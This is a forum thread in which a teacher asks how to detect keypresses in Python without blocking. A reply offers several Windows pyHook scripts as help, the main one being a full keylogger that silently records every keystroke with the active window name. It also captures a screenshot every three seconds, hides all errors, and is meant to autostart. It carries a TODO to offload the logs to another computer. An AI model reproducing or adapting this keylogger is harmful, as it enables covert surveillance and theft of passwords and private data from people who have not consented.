Is this hard?
I am introducing Python to my students and want to make a simple, interactive program that will, while it's running, 'listen' for any keyboard events. That is, I don't want to include an 'input' statement - that would pause execution till someone answered. I just want it to keep running, say, printing an 'a' on the screen every 10 seconds, until the user types a 'b'. Then printing a 'b' every 10 seconds till the user types in some other character...
It seems that this should not be hard; something with sys.stdin, perhaps. The hours I've spent on it are getting embarrassing.
I've fooled around with it and looked though books and the only solution I've come up with was to import pygame.py and use its event handling. This seems like massive overkill for what should be an easy matter.
I'm using IDLE with MacPython 2.5.1 on Mac OS 10.4.11
Thanks for any help on this problem.
Neal C.
2 6131
Hi!
I am realy "out" of this subject , but i stumbled on some scripts that might
help you....
run them , modify them , and hopefully they will work for you.... - import pyHook
-
import pygame
-
-
# create a keyboard hook
-
def OnKeyboardEvent(event):
-
print 'MessageName:',event.MessageName
-
print 'Message:',event.Message
-
print 'Time:',event.Time
-
print 'Window:',event.Window
-
print 'WindowName:',event.WindowName
-
print 'Ascii:', event.Ascii, chr(event.Ascii)
-
print 'Key:', event.Key
-
print 'KeyID:', event.KeyID
-
print 'ScanCode:', event.ScanCode
-
print 'Extended:', event.Extended
-
print 'Injected:', event.Injected
-
print 'Alt', event.Alt
-
print 'Transition', event.Transition
-
print '---'
-
if event.Key.lower() in ['lwin', 'tab', 'lmenu']:
-
return False # block these keys
-
else:
-
# return True to pass the event to other handlers
-
return True
-
-
# create a hook manager
-
hm = pyHook.HookManager()
-
# watch for all keyboard events
-
hm.KeyDown = OnKeyboardEvent
-
# set the hook
-
hm.HookKeyboard()
-
-
# initialize pygame and start the game loop
-
pygame.init()
-
-
while(1):
-
pygame.event.pump()
Second script: -
import pyHook
-
import time
-
import pythoncom
-
def OnKeyboardEvent(event):
-
print event.Ascii
-
def main():
-
hm = pyHook.HookManager()
-
hm.KeyDown = OnKeyboardEvent
-
hm.HookKeyboard()
-
while True:
-
pythoncom.PumpMessages()
-
if __name__ == '__main__':
-
main()
-
script 3 - ## Windows Only Script!!!
-
################################################## ##########################
-
#
-
## logger.py | 2008-02-04 | Logs keystrokes and screenshots to disk
-
##
-
## Copyright (C) 2008, Jack Trades
-
##
-
## This program is free software: you can redistribute it and/or modify
-
## it under the terms of the GNU General Public License as published by
-
## the Free Software Foundation, either version 3 of the License, or
-
## (at your option) any later version.
-
##
-
## This program is distributed in the hope that it will be useful,
-
## but WITHOUT ANY WARRANTY; without even the implied warranty of
-
## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-
## GNU General Public License for more details.
-
##
-
## You should have received a copy of the GNU General Public License
-
## along with this program. If not, see <http://www.gnu.org/licenses/>
-
##
-
## Recent Changes:
-
## Added quality setting to grabScreen
-
## Wrapped all functions in try/except blocks to silently pass over errors
-
##
-
## TODO:
-
## Write function to send data to secure ftp server in local network
-
## Write any errors to a text file
-
################################################## ##########################
-
#
-
## Requires: pyHook, win32all, PIL
-
-
import pyHook
-
import pythoncom
-
import ImageGrab
-
from time import time
-
from threading import Timer
-
-
-
################################################## ##########################
-
#
-
## Start-Up
-
################################################## ##########################
-
#
-
-
## The full path is required when started automatically through windows registry
-
## Need to find a fix to allow relative paths (this way is UGLY!)
-
folder = 'C:\\Python25\\'
-
-
filename = folder+'daata\\'+str(time()) ## Each program start creates a new file
-
skippedKeys = set( (0,) )
-
-
def offloadData():
-
"""Every time the program starts it should offload its log file and
-
screenshots to another computer. """
-
pass
-
-
-
############################################################################
-
#
-
## Keylogger
-
############################################################################
-
#
-
## The logger skips over keys defined in the global variable *skippedKeys*
-
-
def writeData(eventWindow, ascii):
-
"""Appends each keystroke to file *filename* as defined at the top"""
-
try:
-
eventTime = time()
-
f = open(filename, 'a')
-
f.write(str( (ascii, eventTime, eventWindow) )+',')
-
f.close()
-
except:
-
pass
-
-
def onKeyboardEvent(event):
-
"""This function is called by pyHook each time a key is pressed.
-
It writes the (key,time,window) to the logfile as defined in writeData()
-
It also skips unnecessary keys (such as shift, ctrl, alt, etc.)"""
-
try:
-
eventWindow, ascii = event.WindowName, event.Ascii
-
if ascii not in skippedKeys: ## skippedKeys is a global variable
-
ascii = chr(ascii) ## uncomment to store chr(ascii) values
-
print ascii ## uncomment to print keys toscreen
-
writeData(eventWindow, ascii)
-
return True ## passes the event to otherhandlers
-
except:
-
return True ## ensures that we pass the key along
-
## even if an error occurs
-
-
-
################################################## ##########################
-
#
-
## Screenshots
-
################################################## ##########################
-
#
-
-
def grabScreen(imageQuality=20):
-
"""Take a screenshot and save it to the folder screens// with filename
-
time()"""
-
try:
-
img = ImageGrab.grab()
-
img.save(folder+'screens\\'+str(time())+'.jpg', quality=imageQuality)
-
except:
-
pass
-
-
def startScreenshots(delay=3):
-
"""Takes a screenshot every X seconds using grabScreen()"""
-
try:
-
grabScreen()
-
t = Timer(delay, startScreenshots, [delay])
-
t.start()
-
except:
-
pass
-
-
################################################## ##########################
-
#
-
## Main
-
################################################## ##########################
-
#
-
-
def run(delay=3):
-
try:
-
## Start saving screenshots every X seconds
-
startScreenshots(delay)
-
## Setup a HookManager and bind OnKeyboardEvent to HookManager.KeyDown
-
hm = pyHook.HookManager()
-
hm.KeyDown = onKeyboardEvent
-
hm.HookKeyboard()
-
## Pump keys into HookManager | Does this need a try/except ?
-
try:
-
pythoncom.PumpMessages()
-
except:
-
pass
-
except:
-
pass
-
-
if __name__ == '__main__':
-
try:
-
run(3) ## Run keylogger with 3 second delay between screenshots
-
except:
-
pass
Hope those help!!
Elias
Hi!
I am realy "out" of this subject , but i stumbled on some scripts that might
help you....
run them , modify them , and hopefully they will work for you....
. . .
Hope those help!!
Elias
Thanks, anyway, but these all require Windows (pyHook is Windows-only) and I'm on Mac OS X (10.4.11)
Apparently this is harder in Python than I anticipated. That is, there's no built-in Python word that, unlike «input()» or «raw_input()», will look at the input stream from the keyboard to see if there is anything there without interrupting the program execution and 'waiting' till the user hits a Return or Enter key.
Bummer.
Sign in to post your reply or Sign up for a free account.
Similar topics |
by: Bilal |
last post by:
Hi,
Is there any way to capture the action Ctrl+N (whether it in a hidden
button or keyword - doesn't matter) in html, javascript or php? I
appreciate any suggestions.
Thank you and kind regards
Bils
|
by: Olli Piepponen |
last post by:
Hi,
I'm having a little problem catching keystrokes under Windows. I did a
little research and found that with mscvrt.getch() one can cath a single
key that is pressed. However this doesn't work when the program is run
on the backround and not as the primary task. What I would like to have
is a same sort of function that would also work...
|
by: Manfred Schwab |
last post by:
Recording messages and print statements in a textfile during program
execution.
Is there a similar command to redirect errormessages or print statements
into a standart asciifile during programm execution.
I would like to echo the complete console output into a textfile and
send this file as email at a certain point in time.
The programm...
|
by: Pjotr Wedersteers |
last post by:
Hi
I want to write a small prog/applet that does nothing but the following:
Display icons representing the keys pressed on the keyboard in a small
"always on top" but transparent window. The keys must always be read - even
when the proggy has no focus- but not erased from the keyboard buffer so
the active app still catches them.
I don't...
|
by: Rob T |
last post by:
In the past, I've made several poor attempts at capturing keyboard strokes
with JS. Mostly, I would want to hit something like ALT-H or F1 for a help
screen....
Hitting the Alt key usually kicks you into the IE menu and doesn't really
allow me to trap the keystrokes.
So....on our new Exchange 2003 web interface, MS has a great interface...
| |
by: CMG |
last post by:
There is a program called ShortKey, the basic function of
this program is the following:
Say you define a shortkey called "MSDN". The program will
then, everytime you type MSDN replace MSDN with
http://msdn.micosoft.com/. I thought this should not be
so hard to make, i was wrong (or at least, i think).
My question is, is there a way to...
|
by: @sh |
last post by:
Has anyone a function handy that I can apply to various textboxes within a
form, each textbox will permit most characters but I want to ban certain
characters from each textbox.
Therefore I need a function that I can put into the <text area> tag of each
box, something like...
<text area...
|
by: Luigi |
last post by:
Hi to all!
I'd like to execute an external program capturing the stdout/stderr
messages at "real-time". I mean that I don't want to wait for the end
of the process. If I write a code like this:
import os
import sys
class Runner:
|
by: junaidnaseer |
last post by:
Is it possible to actually count the number of addition or
multiplication operations performed in a program during runtime . I
know of a program that does this simply by looking through the code for
* and + operators but the problem is that this program is fooled when
we use if...else structures coz there might be a + in the if part but
the...
|
by: marktang |
last post by:
ONU (Optical Network Unit) is one of the key components for providing high-speed Internet services. Its primary function is to act as an endpoint device located at the user's premises. However, people are often confused as to whether an ONU can Work As a Router. In this blog post, we’ll explore What is ONU, What Is Router, ONU & Router’s main...
|
by: Hystou |
last post by:
Most computers default to English, but sometimes we require a different language, especially when relocating. Forgot to request a specific language before your computer shipped? No problem! You can effortlessly switch the default language on Windows 10 without reinstalling. I'll walk you through it.
First, let's disable language...
| |
by: jinu1996 |
last post by:
In today's digital age, having a compelling online presence is paramount for businesses aiming to thrive in a competitive landscape. At the heart of this digital strategy lies an intricately woven tapestry of website design and digital marketing. It's not merely about having a website; it's about crafting an immersive digital experience that...
|
by: tracyyun |
last post by:
Dear forum friends,
With the development of smart home technology, a variety of wireless communication protocols have appeared on the market, such as Zigbee, Z-Wave, Wi-Fi, Bluetooth, etc. Each protocol has its own unique characteristics and advantages, but as a user who is planning to build a smart home system, I am a bit confused by the...
|
by: agi2029 |
last post by:
Let's talk about the concept of autonomous AI software engineers and no-code agents. These AIs are designed to manage the entire lifecycle of a software development project—planning, coding, testing, and deployment—without human intervention. Imagine an AI that can take a project description, break it down, write the code, debug it, and then...
|
by: conductexam |
last post by:
I have .net C# application in which I am extracting data from word file and save it in database particularly. To store word all data as it is I am converting the whole word file firstly in HTML and then checking html paragraph one by one.
At the time of converting from word file to html my equations which are in the word document file was convert...
|
by: 6302768590 |
last post by:
Hai team
i want code for transfer the data from one system to another through IP address by using C# our system has to for every 5mins then we have to update the data what the data is updated we have to send another system
|
by: muto222 |
last post by:
How can i add a mobile payment intergratation into php mysql website.
| |
by: bsmnconsultancy |
last post by:
In today's digital era, a well-designed website is crucial for businesses looking to succeed. Whether you're a small business owner or a large corporation in Toronto, having a strong online presence can significantly impact your brand's success. BSMN Consultancy, a leader in Website Development in Toronto offers valuable insights into creating...
| |